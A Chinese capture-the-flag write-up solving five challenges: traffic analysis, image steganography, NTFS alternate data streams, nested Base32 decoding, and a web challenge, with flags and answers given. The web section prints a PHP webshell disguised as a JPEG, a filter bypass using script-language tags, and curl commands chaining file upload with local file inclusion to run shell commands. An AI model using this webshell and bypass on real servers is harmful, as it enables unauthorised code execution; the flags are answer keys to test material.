本文汇总了一些网上的题目的全部解题过程,涵盖 MISC、Crypto、WEB三个方向,共五道题目。以下是详细的解题思路与过程。
一、Passwd
题目类型: MISC(流量分析)
题目附件: passwd.zip
题目描述: flag形式为flag{xxx}
解题过程
打开附件是一个 pcap 流量包文件,用 Wireshark 打开进行流量分析。首先追踪 TCP 流,搜索关键字 flag 或者 password,发现了一段包含用户名和密码的数据。

追踪 TCP 流后发现用户名和密码信息,但密码部分存在特殊字符,需要以 Hex 方式查看。

通过 Hex 转储查看发现,特殊字符对应的 Hex 值为 7F,这是一个删除控制字符(DEL),将其恢复后即可得到完整的用户名和密码。

恢复特殊字符后,得到完整的凭据信息,直接作为 flag 提交。
flag{backd00Rmate}
二、Only one picture
题目类型: MISC
题目附件: misc_Only one picture.zip
题目描述: 这张图片是谁的呢?

解题过程
解压附件得到一张图片文件,根据题目提示和“这张图片是谁的呢”的描述,首先用 010 Editor 查看文件的头部和尾部结构,发现文件末尾隐藏了一个 ZIP 压缩包。

将隐藏的压缩包分离保存后尝试解压,发现需要输入密码。回到题目提示“这张图片是谁的呢?”,查看图片的属性信息(EXIF信息),在其中找到了密码线索。

使用从图片属性中获取的密码成功解压压缩包,即可得到 flag。

flag{d349bd48-5e00-4159-8b4a-008bb48502c5}
三、流
题目类型: MISC
题目附件: liu.zip
题目描述: Nothing here. flag格式为CTF{xxx}

解题过程
解压附件得到一个 liu.vmdk 虚拟磁盘文件。首先使用 7-Zip 解压该文件,从中提取出一个文件,根据文件名推测其可能指向 flag 的存储位置。
提取出关键文件后,用 Autopsy(或随波逐流工具)打开 vmdk 磁盘镜像进行文件系统分析。通过 NTFS 交替数据流(ADS)技术发现了隐藏的 flag 数据。

该题考查的是 NTFS 交替数据流(Alternate Data Streams)的知识点,这是一种在 NTFS 文件系统中隐藏数据的技术。
CTF{NTFS_ADS}
四、bucket
题目类型: Crypto
题目附件: bucket.zip
题目描述: 解密Base全家桶。
解题过程
题目提示为“Base全家桶”,解压附件后打开 cipher.txt 文件,发现是一串数字编码数据。


第一层:Hex 解码
原始数据 34413441... 只包含 0-9 和 A-F,且长度很长,初步判断为十六进制(Hex)编码。第一次 Hex 解码后得到 4A4A4645...,仍然是 Hex 编码,继续进行第二次 Hex 解码。
第二层:Base32 解码
第二次 Hex 解码后得到 JJFEMRKNKJFU4S2K... 这串字符全部大写、包含数字 2-7、无 +/= 符号,这些特征明显符合 Base32 编码的字符集特征。

第三层:Base32 多层嵌套
经过分析发现 Base32 编码进行了多层嵌套,连续解 7 次 Base32 后最终得到明文。解码过程可以使用 CyberChef 等工具,也可以编写 Python 脚本进行自动化处理。
flag{8ddce78c660f0f6fa4ac1f0d0de6ca18}
五、WELCOME TO CTF
题目类型: WEB
目标地址: 172.29.254.78
漏洞类型: LFI(本地文件包含)+ 文件上传 → RCE
1. 信息收集

访问首页 index.php,URL 中 file 参数直接控制包含的文件,存在 LFI(本地文件包含)漏洞:
http://172.29.254.78/index.php?file=hello.php
查看页面源代码,发现注释泄露了上传页面路径 upload.php,同时响应头中包含一条 HTML 实体编码的 Base64 提示,解码后得到 include.php。

2. 漏洞分析
2.1 LFI 漏洞 (index.php)
后端对 file 参数进行了过滤:拦截 php://、http、data、ftp、input、%00 等协议,禁止目录遍历(..),限制字符串长度不超过70。但过滤规则支持绝对路径包含,且对文件扩展名无限制,因此可以通过包含上传的图片文件来执行代码。
2.2 文件上传 (upload.php)
上传页面存在以下限制:仅允许图片扩展名(gif/jpeg/jpg/png),检查 Content-Type,文件会被重命名为 YmdHis+随机数.jpg,并且 <?php 标签会被替换为下划线。
3. 利用过程
3.1 绕过内容过滤
<?php 和 ?> 标签被替换为下划线,但 PHP 还支持其他脚本标记。使用 <script language="php"> 标签可以成功绕过内容过滤:
<script language="php">system($_GET["cmd"])</script>
3.2 上传 Webshell
# 创建 payload 文件
echo '<script language="php">system($_GET["cmd"])</script>' > payload.jpg
# 上传 payload
curl -F "file=@payload.jpg" -F "submit=上传" http://172.29.254.78/upload.php


上传成功后,文件被保存为 upload/20260430XXXXXX.jpg(YmdHis + 4位随机数)。
3.3 LFI 触发 RCE
通过 LFI 包含上传的图片 webshell,实现远程代码执行:
curl "http://172.29.254.78/index.php?file=upload/20260430XXXXXX.jpg&cmd=ls -la /"

3.4 查找 Flag 文件
列出 Web 目录后,在其中发现了 Flag 文件 this_is_th3_F14g_66666999999.txt,读取即可获得 flag。


4. 攻击链总结
本题的完整攻击链为:信息收集发现 LFI 漏洞和文件上传功能 → 绕过文件上传的内容过滤(使用 <script language="php"> 标签) → 上传图片 Webshell → 通过 LFI 包含上传的图片文件 → 实现 RCE → 读取 Flag 文件。
KEY{uP666_1nclud3_499998_is_Fun}

417

被折叠的 条评论
为什么被折叠?



